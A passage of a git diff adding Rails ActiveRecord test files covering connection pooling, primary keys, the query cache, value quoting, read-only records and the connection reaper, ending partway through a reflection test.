+require "models/project"
+require "timeout"
+
+class PooledConnectionsTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @per_test_teardown = []
+ @connection = ActiveRecord::Base.remove_connection
+ end
+
+ def teardown
+ ActiveRecord::Base.clear_all_connections!
+ ActiveRecord::Base.establish_connection(@connection)
+ @per_test_teardown.each {|td| td.call }
+ end
+
+ def checkout_connections
+ ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.3}))
+ @connections = []
+ @timed_out = 0
+
+ 4.times do
+ Thread.new do
+ begin
+ @connections << ActiveRecord::Base.connection_pool.checkout
+ rescue ActiveRecord::ConnectionTimeoutError
+ @timed_out += 1
+ end
+ end.join
+ end
+ end
+
+ # Will deadlock due to lack of Monitor timeouts in 1.9
+ def checkout_checkin_connections(pool_size, threads)
+ ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :checkout_timeout => 0.5}))
+ @connection_count = 0
+ @timed_out = 0
+ threads.times do
+ Thread.new do
+ begin
+ conn = ActiveRecord::Base.connection_pool.checkout
+ sleep 0.1
+ ActiveRecord::Base.connection_pool.checkin conn
+ @connection_count += 1
+ rescue ActiveRecord::ConnectionTimeoutError
+ @timed_out += 1
+ end
+ end.join
+ end
+ end
+
+ def test_pooled_connection_checkin_one
+ checkout_checkin_connections 1, 2
+ assert_equal 2, @connection_count
+ assert_equal 0, @timed_out
+ assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
+ end
+
+
+ private
+
+ def add_record(name)
+ ActiveRecord::Base.connection_pool.with_connection { Project.create! :name => name }
+ end
+end unless current_adapter?(:FrontBase) || in_memory_db?
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
new file mode 100644
index 0000000..8e5379c
--- /dev/null
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -0,0 +1,218 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/subscriber'
+require 'models/movie'
+require 'models/keyboard'
+require 'models/mixed_case_monkey'
+
+class PrimaryKeysTest < ActiveRecord::TestCase
+ fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
+
+ def test_to_key_with_default_primary_key
+ topic = Topic.new
+ assert_nil topic.to_key
+ topic = Topic.find(1)
+ assert_equal [1], topic.to_key
+ end
+
+ def test_to_key_with_customized_primary_key
+ keyboard = Keyboard.new
+ assert_nil keyboard.to_key
+ keyboard.save
+ assert_equal keyboard.to_key, [keyboard.id]
+ end
+
+ def test_read_attribute_with_custom_primary_key
+ keyboard = Keyboard.create!
+ assert_equal keyboard.key_number, keyboard.read_attribute(:id)
+ end
+
+ def test_to_key_with_primary_key_after_destroy
+ topic = Topic.find(1)
+ topic.destroy
+ assert_equal [1], topic.to_key
+ end
+
+ def test_integer_key
+ topic = Topic.find(1)
+ assert_equal(topics(:first).author_name, topic.author_name)
+ topic = Topic.find(2)
+ assert_equal(topics(:second).author_name, topic.author_name)
+
+ topic = Topic.new
+ topic.title = "New Topic"
+ assert_nil topic.id
+ assert_nothing_raised { topic.save! }
+ id = topic.id
+
+ topicReloaded = Topic.find(id)
+ assert_equal("New Topic", topicReloaded.title)
+ end
+
+ def test_customized_primary_key_auto_assigns_on_save
+ Keyboard.delete_all
+ keyboard = Keyboard.new(:name => 'HHKB')
+ assert_nothing_raised { keyboard.save! }
+ assert_equal keyboard.id, Keyboard.find_by_name('HHKB').id
+ end
+
+ def test_customized_primary_key_can_be_get_before_saving
+ keyboard = Keyboard.new
+ assert_nil keyboard.id
+ assert_nothing_raised { assert_nil keyboard.key_number }
+ end
+
+ def test_customized_string_primary_key_settable_before_save
+ subscriber = Subscriber.new
+ assert_nothing_raised { subscriber.id = 'webster123' }
+ assert_equal 'webster123', subscriber.id
+ assert_equal 'webster123', subscriber.nick
+ end
+
+ def test_string_key
+ subscriber = Subscriber.find(subscribers(:first).nick)
+ assert_equal(subscribers(:first).name, subscriber.name)
+ subscriber = Subscriber.find(subscribers(:second).nick)
+ assert_equal(subscribers(:second).name, subscriber.name)
+
+ subscriber = Subscriber.new
+ subscriber.id = "jdoe"
+ assert_equal("jdoe", subscriber.id)
+ subscriber.name = "John Doe"
+ assert_nothing_raised { subscriber.save! }
+ assert_equal("jdoe", subscriber.id)
+
+ subscriberReloaded = Subscriber.find("jdoe")
+ assert_equal("John Doe", subscriberReloaded.name)
+ end
+
+ def test_find_with_more_than_one_string_key
+ assert_equal 2, Subscriber.find(subscribers(:first).nick, subscribers(:second).nick).length
+ end
+
+ def test_primary_key_prefix
+ ActiveRecord::Base.primary_key_prefix_type = :table_name
+ Topic.reset_primary_key
+ assert_equal "topicid", Topic.primary_key
+
+ ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+ Topic.reset_primary_key
+ assert_equal "topic_id", Topic.primary_key
+
+ ActiveRecord::Base.primary_key_prefix_type = nil
+ Topic.reset_primary_key
+ assert_equal "id", Topic.primary_key
+ end
+
+ def test_delete_should_quote_pkey
+ assert_nothing_raised { MixedCaseMonkey.delete(1) }
+ end
+ def test_update_counters_should_quote_pkey_and_quote_counter_columns
+ assert_nothing_raised { MixedCaseMonkey.update_counters(1, :fleaCount => 99) }
+ end
+ def test_find_with_one_id_should_quote_pkey
+ assert_nothing_raised { MixedCaseMonkey.find(1) }
+ end
+ def test_find_with_multiple_ids_should_quote_pkey
+ assert_nothing_raised { MixedCaseMonkey.find([1,2]) }
+ end
+ def test_instance_update_should_quote_pkey
+ assert_nothing_raised { MixedCaseMonkey.find(1).save }
+ end
+ def test_instance_destroy_should_quote_pkey
+ assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
+ end
+
+ def test_supports_primary_key
+ assert_nothing_raised NoMethodError do
+ ActiveRecord::Base.connection.supports_primary_key?
+ end
+ end
+
+ def test_primary_key_returns_value_if_it_exists
+ if ActiveRecord::Base.connection.supports_primary_key?
+ assert_equal 'id', ActiveRecord::Base.connection.primary_key('developers')
+ end
+ end
+
+ def test_primary_key_returns_nil_if_it_does_not_exist
+ if ActiveRecord::Base.connection.supports_primary_key?
+ assert_nil ActiveRecord::Base.connection.primary_key('developers_projects')
+ end
+ end
+
+ def test_quoted_primary_key_after_set_primary_key
+ k = Class.new( ActiveRecord::Base )
+ assert_equal k.connection.quote_column_name("id"), k.quoted_primary_key
+ k.primary_key = "foo"
+ assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
+ end
+
+ def test_two_models_with_same_table_but_different_primary_key
+ k1 = Class.new(ActiveRecord::Base)
+ k1.table_name = 'posts'
+ k1.primary_key = 'id'
+
+ k2 = Class.new(ActiveRecord::Base)
+ k2.table_name = 'posts'
+ k2.primary_key = 'title'
+
+ assert k1.columns.find { |c| c.name == 'id' }.primary
+ assert !k1.columns.find { |c| c.name == 'title' }.primary
+ assert k1.columns_hash['id'].primary
+ assert !k1.columns_hash['title'].primary
+
+ assert !k2.columns.find { |c| c.name == 'id' }.primary
+ assert k2.columns.find { |c| c.name == 'title' }.primary
+ assert !k2.columns_hash['id'].primary
+ assert k2.columns_hash['title'].primary
+ end
+
+ def test_models_with_same_table_have_different_columns
+ k1 = Class.new(ActiveRecord::Base)
+ k1.table_name = 'posts'
+
+ k2 = Class.new(ActiveRecord::Base)
+ k2.table_name = 'posts'
+
+ k1.columns.zip(k2.columns).each do |col1, col2|
+ assert !col1.equal?(col2)
+ end
+ end
+end
+
+class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def test_set_primary_key_with_no_connection
+ return skip("disconnect wipes in-memory db") if in_memory_db?
+
+ connection = ActiveRecord::Base.remove_connection
+
+ model = Class.new(ActiveRecord::Base)
+ model.primary_key = 'foo'
+
+ assert_equal 'foo', model.primary_key
+
+ ActiveRecord::Base.establish_connection(connection)
+
+ assert_equal 'foo', model.primary_key
+ end
+end
+
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ class PrimaryKeyWithAnsiQuotesTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def test_primaery_key_method_with_ansi_quotes
+ con = ActiveRecord::Base.connection
+ con.execute("SET SESSION sql_mode='ANSI_QUOTES'")
+ assert_equal "id", con.primary_key("topics")
+ ensure
+ con.reconnect!
+ end
+
+ end
+end
+
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
new file mode 100644
index 0000000..136fda6
--- /dev/null
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -0,0 +1,276 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/task'
+require 'models/category'
+require 'models/post'
+require 'rack'
+
+class QueryCacheTest < ActiveRecord::TestCase
+ fixtures :tasks, :topics, :categories, :posts, :categories_posts
+
+ def setup
+ Task.connection.clear_query_cache
+ ActiveRecord::Base.connection.disable_query_cache!
+ end
+
+ def test_exceptional_middleware_clears_and_disables_cache_on_error
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off'
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ Task.find 1
+ Task.find 1
+ assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+ raise "lol borked"
+ }
+ assert_raises(RuntimeError) { mw.call({}) }
+
+ assert_equal 0, ActiveRecord::Base.connection.query_cache.length
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off'
+ end
+
+ def test_exceptional_middleware_leaves_enabled_cache_alone
+ ActiveRecord::Base.connection.enable_query_cache!
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ raise "lol borked"
+ }
+ assert_raises(RuntimeError) { mw.call({}) }
+
+ assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on'
+ end
+
+ def test_exceptional_middleware_assigns_original_connection_id_on_error
+ connection_id = ActiveRecord::Base.connection_id
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ ActiveRecord::Base.connection_id = self.object_id
+ raise "lol borked"
+ }
+ assert_raises(RuntimeError) { mw.call({}) }
+
+ assert_equal connection_id, ActiveRecord::Base.connection_id
+ end
+
+ def test_middleware_delegates
+ called = false
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ called = true
+ [200, {}, nil]
+ }
+ mw.call({})
+ assert called, 'middleware should delegate'
+ end
+
+ def test_middleware_caches
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ Task.find 1
+ Task.find 1
+ assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+ [200, {}, nil]
+ }
+ mw.call({})
+ end
+
+ def test_cache_enabled_during_call
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off'
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on'
+ [200, {}, nil]
+ }
+ mw.call({})
+ end
+
+ def test_cache_on_during_body_write
+ streaming = Class.new do
+ def each
+ yield ActiveRecord::Base.connection.query_cache_enabled
+ end
+ end
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ [200, {}, streaming.new]
+ }
+ body = mw.call({}).last
+ body.each { |x| assert x, 'cache should be on' }
+ body.close
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache disabled'
+ end
+
+ def test_cache_off_after_close
+ mw = ActiveRecord::QueryCache.new lambda { |env| [200, {}, nil] }
+ body = mw.call({}).last
+
+ assert ActiveRecord::Base.connection.query_cache_enabled, 'cache enabled'
+ body.close
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache disabled'
+ end
+
+ def test_cache_clear_after_close
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ Post.first
+ [200, {}, nil]
+ }
+ body = mw.call({}).last
+
+ assert !ActiveRecord::Base.connection.query_cache.empty?, 'cache not empty'
+ body.close
+ assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty'
+ end
+
+ def test_find_queries
+ assert_queries(2) { Task.find(1); Task.find(1) }
+ end
+
+ def test_find_queries_with_cache
+ Task.cache do
+ assert_queries(1) { Task.find(1); Task.find(1) }
+ end
+ end
+
+ def test_find_queries_with_cache_multi_record
+ Task.cache do
+ assert_queries(2) { Task.find(1); Task.find(1); Task.find(2) }
+ end
+ end
+
+ def test_count_queries_with_cache
+ Task.cache do
+ assert_queries(1) { Task.count; Task.count }
+ end
+ end
+
+ def test_query_cache_dups_results_correctly
+ Task.cache do
+ now = Time.now.utc
+ task = Task.find 1
+ assert_not_equal now, task.starting
+ task.starting = now
+ task.reload
+ assert_not_equal now, task.starting
+ end
+ end
+
+ def test_cache_is_flat
+ Task.cache do
+ Topic.columns # don't count this query
+ assert_queries(1) { Topic.find(1); Topic.find(1); }
+ end
+
+ ActiveRecord::Base.cache do
+ assert_queries(1) { Task.find(1); Task.find(1) }
+ end
+ end
+
+ def test_cache_does_not_wrap_string_results_in_arrays
+ Task.cache do
+ # Oracle adapter returns count() as Fixnum or Float
+ if current_adapter?(:OracleAdapter)
+ assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+ elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter)
+ # Future versions of the sqlite3 adapter will return numeric
+ assert_instance_of Fixnum,
+ Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+ else
+ assert_instance_of String, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+ end
+ end
+ end
+
+ def test_cache_is_ignored_for_locked_relations
+ task = Task.find 1
+
+ Task.cache do
+ assert_queries(2) { task.lock!; task.lock! }
+ end
+ end
+
+ def test_cache_is_available_when_connection_is_connected
+ conf = ActiveRecord::Base.configurations
+
+ ActiveRecord::Base.configurations = {}
+ Task.cache do
+ assert_queries(1) { Task.find(1); Task.find(1) }
+ end
+ ensure
+ ActiveRecord::Base.configurations = conf
+ end
+end
+
+class QueryCacheExpiryTest < ActiveRecord::TestCase
+ fixtures :tasks, :posts, :categories, :categories_posts
+
+ def test_cache_gets_cleared_after_migration
+ # warm the cache
+ Post.find(1)
+
+ # change the column definition
+ Post.connection.change_column :posts, :title, :string, :limit => 80
+ assert_nothing_raised { Post.find(1) }
+
+ # restore the old definition
+ Post.connection.change_column :posts, :title, :string
+ end
+
+ def test_find
+ Task.connection.expects(:clear_query_cache).times(1)
+
+ assert !Task.connection.query_cache_enabled
+ Task.cache do
+ assert Task.connection.query_cache_enabled
+ Task.find(1)
+
+ Task.uncached do
+ assert !Task.connection.query_cache_enabled
+ Task.find(1)
+ end
+
+ assert Task.connection.query_cache_enabled
+ end
+ assert !Task.connection.query_cache_enabled
+ end
+
+ def test_update
+ Task.connection.expects(:clear_query_cache).times(2)
+
+ Task.cache do
+ task = Task.find(1)
+ task.starting = Time.now.utc
+ task.save!
+ end
+ end
+
+ def test_destroy
+ Task.connection.expects(:clear_query_cache).times(2)
+
+ Task.cache do
+ Task.find(1).destroy
+ end
+ end
+
+ def test_insert
+ ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+
+ Task.cache do
+ Task.create!
+ end
+ end
+
+ def test_cache_is_expired_by_habtm_update
+ ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+ ActiveRecord::Base.cache do
+ c = Category.first
+ p = Post.first
+ p.categories << c
+ end
+ end
+
+ def test_cache_is_expired_by_habtm_delete
+ ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
+ ActiveRecord::Base.cache do
+ p = Post.find(1)
+ assert p.categories.any?
+ p.categories.delete_all
+ end
+ end
+end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
new file mode 100644
index 0000000..3dd11ae
--- /dev/null
+++ b/activerecord/test/cases/quoting_test.rb
@@ -0,0 +1,229 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class QuotingTest < ActiveRecord::TestCase
+ class FakeColumn < ActiveRecord::ConnectionAdapters::Column
+ attr_accessor :type
+
+ def initialize type
+ @type = type
+ end
+ end
+
+ def setup
+ @quoter = Class.new { include Quoting }.new
+ end
+
+ def test_quoted_true
+ assert_equal "'t'", @quoter.quoted_true
+ end
+
+ def test_quoted_false
+ assert_equal "'f'", @quoter.quoted_false
+ end
+
+ def test_quote_column_name
+ assert_equal "foo", @quoter.quote_column_name('foo')
+ end
+
+ def test_quote_table_name
+ assert_equal "foo", @quoter.quote_table_name('foo')
+ end
+
+ def test_quote_table_name_calls_quote_column_name
+ @quoter.extend(Module.new {
+ def quote_column_name(string)
+ 'lol'
+ end
+ })
+ assert_equal 'lol', @quoter.quote_table_name('foo')
+ end
+
+ def test_quote_string
+ assert_equal "''", @quoter.quote_string("'")
+ assert_equal "\\\\", @quoter.quote_string("\\")
+ assert_equal "hi''i", @quoter.quote_string("hi'i")
+ assert_equal "hi\\\\i", @quoter.quote_string("hi\\i")
+ end
+
+ def test_quoted_date
+ t = Date.today
+ assert_equal t.to_s(:db), @quoter.quoted_date(t)
+ end
+
+ def test_quoted_time_utc
+ before = ActiveRecord::Base.default_timezone
+ ActiveRecord::Base.default_timezone = :utc
+ t = Time.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ ensure
+ ActiveRecord::Base.default_timezone = before
+ end
+
+ def test_quoted_time_local
+ before = ActiveRecord::Base.default_timezone
+ ActiveRecord::Base.default_timezone = :local
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ ensure
+ ActiveRecord::Base.default_timezone = before
+ end
+
+ def test_quoted_time_crazy
+ before = ActiveRecord::Base.default_timezone
+ ActiveRecord::Base.default_timezone = :asdfasdf
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ ensure
+ ActiveRecord::Base.default_timezone = before
+ end
+
+ def test_quoted_datetime_utc
+ before = ActiveRecord::Base.default_timezone
+ ActiveRecord::Base.default_timezone = :utc
+ t = DateTime.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ ensure
+ ActiveRecord::Base.default_timezone = before
+ end
+
+ ###
+ # DateTime doesn't define getlocal, so make sure it does nothing
+ def test_quoted_datetime_local
+ before = ActiveRecord::Base.default_timezone
+ ActiveRecord::Base.default_timezone = :local
+ t = DateTime.now
+ assert_equal t.to_s(:db), @quoter.quoted_date(t)
+ ensure
+ ActiveRecord::Base.default_timezone = before
+ end
+
+ def test_quote_with_quoted_id
+ assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), nil)
+ assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), 'foo')
+ end
+
+ def test_quote_nil
+ assert_equal 'NULL', @quoter.quote(nil, nil)
+ assert_equal 'NULL', @quoter.quote(nil, 'foo')
+ end
+
+ def test_quote_true
+ assert_equal @quoter.quoted_true, @quoter.quote(true, nil)
+ assert_equal '1', @quoter.quote(true, Struct.new(:type).new(:integer))
+ end
+
+ def test_quote_false
+ assert_equal @quoter.quoted_false, @quoter.quote(false, nil)
+ assert_equal '0', @quoter.quote(false, Struct.new(:type).new(:integer))
+ end
+
+ def test_quote_float
+ float = 1.2
+ assert_equal float.to_s, @quoter.quote(float, nil)
+ assert_equal float.to_s, @quoter.quote(float, Object.new)
+ end
+
+ def test_quote_fixnum
+ fixnum = 1
+ assert_equal fixnum.to_s, @quoter.quote(fixnum, nil)
+ assert_equal fixnum.to_s, @quoter.quote(fixnum, Object.new)
+ end
+
+ def test_quote_bignum
+ bignum = 1 << 100
+ assert_equal bignum.to_s, @quoter.quote(bignum, nil)
+ assert_equal bignum.to_s, @quoter.quote(bignum, Object.new)
+ end
+
+ def test_quote_bigdecimal
+ bigdec = BigDecimal.new((1 << 100).to_s)
+ assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, nil)
+ assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, Object.new)
+ end
+
+ def test_dates_and_times
+ @quoter.extend(Module.new { def quoted_date(value) 'lol' end })
+ assert_equal "'lol'", @quoter.quote(Date.today, nil)
+ assert_equal "'lol'", @quoter.quote(Date.today, Object.new)
+ assert_equal "'lol'", @quoter.quote(Time.now, nil)
+ assert_equal "'lol'", @quoter.quote(Time.now, Object.new)
+ assert_equal "'lol'", @quoter.quote(DateTime.now, nil)
+ assert_equal "'lol'", @quoter.quote(DateTime.now, Object.new)
+ end
+
+ def test_crazy_object
+ crazy = Class.new.new
+ expected = "'#{YAML.dump(crazy)}'"
+ assert_equal expected, @quoter.quote(crazy, nil)
+ assert_equal expected, @quoter.quote(crazy, Object.new)
+ end
+
+ def test_crazy_object_calls_quote_string
+ crazy = Class.new { def initialize; @lol = 'lo\l' end }.new
+ assert_match "lo\\\\l", @quoter.quote(crazy, nil)
+ assert_match "lo\\\\l", @quoter.quote(crazy, Object.new)
+ end
+
+ def test_quote_string_no_column
+ assert_equal "'lo\\\\l'", @quoter.quote('lo\l', nil)
+ end
+
+ def test_quote_as_mb_chars_no_column
+ string = ActiveSupport::Multibyte::Chars.new('lo\l')
+ assert_equal "'lo\\\\l'", @quoter.quote(string, nil)
+ end
+
+ def test_quote_string_int_column
+ assert_equal "1", @quoter.quote('1', FakeColumn.new(:integer))
+ assert_equal "1", @quoter.quote('1.2', FakeColumn.new(:integer))
+ end
+
+ def test_quote_string_float_column
+ assert_equal "1.0", @quoter.quote('1', FakeColumn.new(:float))
+ assert_equal "1.2", @quoter.quote('1.2', FakeColumn.new(:float))
+ end
+
+ def test_quote_as_mb_chars_binary_column
+ string = ActiveSupport::Multibyte::Chars.new('lo\l')
+ assert_equal "'lo\\\\l'", @quoter.quote(string, FakeColumn.new(:binary))
+ end
+
+ def test_quote_binary_without_string_to_binary
+ assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:binary))
+ end
+
+ def test_quote_binary_with_string_to_binary
+ col = Class.new(FakeColumn) {
+ def string_to_binary(value)
+ 'foo'
+ end
+ }.new(:binary)
+ assert_equal "'foo'", @quoter.quote('lo\l', col)
+ end
+
+ def test_quote_as_mb_chars_binary_column_with_string_to_binary
+ col = Class.new(FakeColumn) {
+ def string_to_binary(value)
+ 'foo'
+ end
+ }.new(:binary)
+ string = ActiveSupport::Multibyte::Chars.new('lo\l')
+ assert_equal "'foo'", @quoter.quote(string, col)
+ end
+
+ def test_string_with_crazy_column
+ assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
+ end
+
+ def test_quote_duration
+ assert_equal "1800", @quoter.quote(30.minutes)
+ end
+
+ def test_quote_duration_int_column
+ assert_equal "7200", @quoter.quote(2.hours, FakeColumn.new(:integer))
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
new file mode 100644
index 0000000..df076c9
--- /dev/null
+++ b/activerecord/test/cases/readonly_test.rb
@@ -0,0 +1,113 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/developer'
+require 'models/project'
+require 'models/reader'
+require 'models/person'
+
+class ReadOnlyTest < ActiveRecord::TestCase
+ fixtures :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
+
+ def test_cant_save_readonly_record
+ dev = Developer.find(1)
+ assert !dev.readonly?
+
+ dev.readonly!
+ assert dev.readonly?
+
+ assert_nothing_raised do
+ dev.name = 'Luscious forbidden fruit.'
+ assert !dev.save
+ dev.name = 'Forbidden.'
+ end
+ assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save }
+ assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+ assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+ end
+
+
+ def test_find_with_readonly_option
+ Developer.all.each { |d| assert !d.readonly? }
+ Developer.readonly(false).each { |d| assert !d.readonly? }
+ Developer.readonly(true).each { |d| assert d.readonly? }
+ Developer.readonly.each { |d| assert d.readonly? }
+ end
+
+
+ def test_find_with_joins_option_implies_readonly
+ # Blank joins don't count.
+ Developer.joins(' ').each { |d| assert !d.readonly? }
+ Developer.joins(' ').readonly(false).each { |d| assert !d.readonly? }
+
+ # Others do.
+ Developer.joins(', projects').each { |d| assert d.readonly? }
+ Developer.joins(', projects').readonly(false).each { |d| assert !d.readonly? }
+ end
+
+ def test_has_many_find_readonly
+ post = Post.find(1)
+ assert !post.comments.empty?
+ assert !post.comments.any?(&:readonly?)
+ assert !post.comments.to_a.any?(&:readonly?)
+ assert post.comments.readonly(true).all?(&:readonly?)
+ end
+
+ def test_has_many_with_through_is_not_implicitly_marked_readonly
+ assert people = Post.find(1).people
+ assert !people.any?(&:readonly?)
+ end
+
+ def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_by_id
+ assert !posts(:welcome).people.find(1).readonly?
+ end
+
+ def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_first
+ assert !posts(:welcome).people.first.readonly?
+ end
+
+ def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_last
+ assert !posts(:welcome).people.last.readonly?
+ end
+
+ def test_readonly_scoping
+ Post.where('1=1').scoping do
+ assert !Post.find(1).readonly?
+ assert Post.readonly(true).find(1).readonly?
+ assert !Post.readonly(false).find(1).readonly?
+ end
+
+ Post.joins(' ').scoping do
+ assert !Post.find(1).readonly?
+ assert Post.readonly.find(1).readonly?
+ assert !Post.readonly(false).find(1).readonly?
+ end
+
+ # Oracle barfs on this because the join includes unqualified and
+ # conflicting column names
+ unless current_adapter?(:OracleAdapter)
+ Post.joins(', developers').scoping do
+ assert Post.find(1).readonly?
+ assert Post.readonly.find(1).readonly?
+ assert !Post.readonly(false).find(1).readonly?
+ end
+ end
+
+ Post.readonly(true).scoping do
+ assert Post.find(1).readonly?
+ assert Post.readonly.find(1).readonly?
+ assert !Post.readonly(false).find(1).readonly?
+ end
+ end
+
+ def test_association_collection_method_missing_scoping_not_readonly
+ developer = Developer.find(1)
+ project = Post.find(1)
+
+ assert !developer.projects.all_as_method.first.readonly?
+ assert !developer.projects.all_as_scope.first.readonly?
+
+ assert !project.comments.all_as_method.first.readonly?
+ assert !project.comments.all_as_scope.first.readonly?
+ end
+end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
new file mode 100644
index 0000000..e53a27d
--- /dev/null
+++ b/activerecord/test/cases/reaper_test.rb
@@ -0,0 +1,81 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ReaperTest < ActiveRecord::TestCase
+ attr_reader :pool
+
+ def setup
+ super
+ @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+ end
+
+ def teardown
+ super
+ @pool.connections.each(&:close)
+ end
+
+ class FakePool
+ attr_reader :reaped
+
+ def initialize
+ @reaped = false
+ end
+
+ def reap
+ @reaped = true
+ end
+ end
+
+ # A reaper with nil time should never reap connections
+ def test_nil_time
+ fp = FakePool.new
+ assert !fp.reaped
+ reaper = ConnectionPool::Reaper.new(fp, nil)
+ reaper.run
+ assert !fp.reaped
+ end
+
+ def test_some_time
+ fp = FakePool.new
+ assert !fp.reaped
+
+ reaper = ConnectionPool::Reaper.new(fp, 0.0001)
+ reaper.run
+ until fp.reaped
+ Thread.pass
+ end
+ assert fp.reaped
+ end
+
+ def test_pool_has_reaper
+ assert pool.reaper
+ end
+
+ def test_reaping_frequency_configuration
+ spec = ActiveRecord::Base.connection_pool.spec.dup
+ spec.config[:reaping_frequency] = 100
+ pool = ConnectionPool.new spec
+ assert_equal 100, pool.reaper.frequency
+ end
+
+ def test_connection_pool_starts_reaper
+ spec = ActiveRecord::Base.connection_pool.spec.dup
+ spec.config[:reaping_frequency] = 0.0001
+
+ pool = ConnectionPool.new spec
+ pool.dead_connection_timeout = 0
+
+ conn = pool.checkout
+ count = pool.connections.length
+
+ conn.extend(Module.new { def active?; false; end; })
+
+ while count == pool.connections.length
+ Thread.pass
+ end
+ assert_equal(count - 1, pool.connections.length)
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
new file mode 100644
index 0000000..a9d46f4
--- /dev/null
+++ b/activerecord/test/cases/reflection_test.rb
@@ -0,0 +1,394 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/customer'
+require 'models/company'
+require 'models/company_in_module'
+require 'models/ship'
+require 'models/pirate'
+require 'models/price_estimate'
+require 'models/essay'
+require 'models/author'
+require 'models/organization'
+require 'models/post'
+require 'models/tagging'
+require 'models/category'
+require 'models/book'
+require 'models/subscriber'
+require 'models/subscription'
+require 'models/tag'
+require 'models/sponsor'
+require 'models/edge'
+
+class ReflectionTest < ActiveRecord::TestCase
+ include ActiveRecord::Reflection
+
+ fixtures :topics, :customers, :companies, :subscribers, :price_estimates
+
+ def setup
+ @first = Topic.find(1)
+ end
+
+ def test_human_name
+ assert_equal "Price estimate", PriceEstimate.model_name.human
+ assert_equal "Subscriber", Subscriber.model_name.human
+ end
+
+ def test_read_attribute_names
+ assert_equal(
+ %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count parent_id parent_title type created_at updated_at ).sort,
+ @first.attribute_names.sort
+ )
+ end
+
+ def test_columns
+ assert_equal 17, Topic.columns.length
+ end
+
+ def test_columns_are_returned_in_the_order_they_were_declared
+ column_names = Topic.columns.map { |column| column.name }
+ assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count parent_id parent_title type group created_at updated_at), column_names
+ end
+
+ def test_content_columns
+ content_columns = Topic.content_columns
+ content_column_names = content_columns.map {|column| column.name}
+ assert_equal 13, content_columns.length
+ assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
+ end
+
+ def test_column_string_type_and_limit
+ assert_equal :string, @first.column_for_attribute("title").type
+ assert_equal 255, @first.column_for_attribute("title").limit
+ end
+
+ def test_column_null_not_null
+ subscriber = Subscriber.first
